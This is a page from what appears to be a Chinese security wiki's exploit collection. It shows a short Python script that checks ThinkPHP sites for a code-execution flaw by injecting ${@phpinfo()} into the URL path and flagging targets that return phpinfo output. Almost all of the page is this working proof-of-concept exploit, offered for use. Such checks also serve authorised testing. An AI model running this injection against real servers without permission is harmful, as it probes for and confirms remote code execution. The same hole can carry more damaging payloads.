menu arrow_back 湛蓝安全空间 |狂野湛蓝,暴躁每天 chevron_right All_wiki chevron_right Some-PoC-oR-ExP-master chevron_right thinkphp chevron_right thinkphpCodeEXE.py
  • home 首页
  • brightness_4 暗黑模式
  • cloud
    xLIYhHS7e34ez7Ma
    cloud
    湛蓝安全
    code
    Github
    thinkphpCodeEXE.py
    472 B / 2021-07-04 19:32:24
        #encoding=utf-8
    #thinkPHP框架代码执行
    #__author__ = 'greenboy'
    	#coding=utf-8
    import requests
    def run(target):
    #thinkphp code exec"
        results = []
        url = "http://" + target + "/index.php/module/aciton/param1/${@phpinfo()}"
        try:
            r = requests.get(url, timeout=5)
        except Exception:
            pass
        else:
            r.close()
            if r.status_code == 200 and "<title>phpinfo()</title>" in r.text:
                results.append(url)
        return results
    
    
    links
    file_download